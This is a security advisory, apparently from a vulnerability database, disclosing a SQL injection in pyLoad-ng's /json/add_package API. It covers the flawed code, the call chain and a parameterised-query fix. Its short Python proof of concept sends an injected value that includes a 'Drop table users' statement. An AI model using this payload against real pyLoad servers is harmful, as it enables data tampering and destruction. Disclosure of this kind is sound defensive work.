High

PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

  • Disclosed: 12.08.2025
  • Updated: 11.10.2026 13:18

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

  • Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
  • Affected code:
python
@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

  • Vulnerability Chain
xml
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info

PoC

python
import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)
<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />

Remediation

python
def update_link_info(self, data):
   """
data is list of tuples (name, size, status, url)
"""
   self.c.executemany(
       "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
       data,
   )
   
   # 提取所有url
   urls = [x[3] for x in data]
   
   # 构建参数化查询,避免SQL注入
   placeholders = ','.join(['?'] * len(urls))
   query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
   self.c.execute(query, urls)
   
   ids = [int(row[0]) for row in self.c.fetchall()]
   return ids

Impact

Attackers can modify or delete data in the database, causing data errors or loss.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pyload-ng < 0.5.0b3.dev91 0.5.0b3.dev91

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-89
Platform
Python (PyPI)
Package
pyload-ng
Disclosed
12.08.2025
Updated
11.10.2026 13:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1821 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-pwh4-6r3m-j2rf - CC BY 4.0

Vulnerability history: pyload-ng

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
01.2023 10.2026
Without a fix
24
Exploited in attacks
0

Severity breakdown

  • Critical 9
  • High 23
  • Medium 25
  • Low 1

Disclosures per year

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Severity:
  1. High · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 no fix
  2. High · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  3. High · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  4. High · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 no fix
  5. High · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 no fix
  6. High · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  7. High · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  8. High CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
  9. PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter this entry
    High CVE-2025-55156 < 0.5.0b3.dev91 0.5.0b3.dev91
Show more (12) Showing 20 of 32

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